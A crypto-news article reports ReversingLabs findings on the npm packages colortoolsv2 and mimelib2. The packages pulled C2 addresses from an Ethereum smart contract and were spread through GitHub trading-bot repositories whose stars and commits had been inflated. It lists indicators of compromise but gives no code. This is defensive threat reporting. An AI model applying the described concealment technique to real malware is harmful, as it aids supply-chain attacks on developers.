Ethereum Smart Contracts Abused to Hide npm Malware

ReversingLabs flags colortoolsv2, mimelib2: Ethereum smart contracts abused to hide npm malware. A substantial investigation that documents a scheme in which attackers distributed malicious code via npm, using an Ethereum smart contract instead of conventional infrastructure to conceal and serve addresses for second-stage commands. They also ran a GitHub campaign: posing as trading bots, they created and boosted repositories with thousands of commits, and stars, after which projects were wired to the malicious packages as dependencies.

Weex Banner

How the Chain Worked: From NPM to the Smart Contract

Technically speaking, the colortoolsv2 package contained a simple loader (index.js) that invoked an external command, retrieving its address not from a local script but from an Ethereum smart contract. Etherscan shows the contract at 0x1f171a1b07c108eae05a5bccbe86922d66227e2b with read functions that return a URL for accessing the C2. This tactic complicates detection: the final command is pulled not from a repository but from a public blockchain.

The scheme led to colortoolsv2 being blocked on npm on July 7, after which the attackers swapped in mimelib2 with almost identical malicious logic and the same smart contract for the second stage. GitHub logs show commits where the colortoolsv2 dependency, and later mimelib2, were added to trading bots, for example, in bot.ts, with the corresponding imports appearing in src/index.ts.

The Ethereum ecosystem is extremely functional, which brings a wealth of opportunities, but also requires extra caution. Learn more about What Is MEV in Ethereum? A DeFi Power Game Uncovered.

ReversingLabs, for good reason, devotes additional attention to the network of accounts and projects associated with colortoolsv2 that were presented as trading bots and utilities. Repositories like solana-trading-bot-v2 looked "alive": thousands of commits, several "maintainers," stars, and "watchers," although a significant share of the activity consisted of automated commits (for example, operations with LICENSE) and look-alike accounts created around July 10, with minimal content such as a README saying "Hi there." Individual commits show users slunfuedrac and cnaovalles adding the malicious dependencies; pasttimerles is also mentioned with a series of commits artificially inflating the metrics. All of this made the insertion of the npm dependency far less noticeable on superficial review.

Here are the full Indicators of Compromise (IoC) from ReversingLabs associated with the campaign:

• npm packages: colortoolsv2 1.0.0 (SHA1 678c20775ff86b014ae8d9869ce5c41ee06b6215), 1.0.1 (1bb7b23f45ed80bce33a6b6e6bc4f99750d5a34b), 1.0.2 (db86351f938a55756061e9b1f4469ff2699e9e27);

• mimelib2 1.0.0 (bda31e9022f5994385c26bd8a451acf0cd0b36da), 1.0.1 (c5488b605cf3e9e9ef35da407ea848cf0326fdea).

• Second stage: SHA1 021d0eef8f457eb2a9f9fb2260dd2e39ff009a21.

• Smart contract: 0x1f171a1b07c108eae05a5bccbe86922d66227e2b.

Paying Attention, as Always

ReversingLabs made it fairly clear how public infrastructure can become a masking node for malicious commands: an Ethereum smart contract was used as a "warehouse" of C2 addresses, and trust in GitHub was formed artificially through metrics and an account grid.

All of this brings us back to the key principles of Web3, namely that trust is math. As a result, dependency verification should be based on code, artifacts, and network indicators, not on the number of commits and stars. Be aware, and stay tuned for the latest updates and opportunities in crypto, blockchain, and DeFi.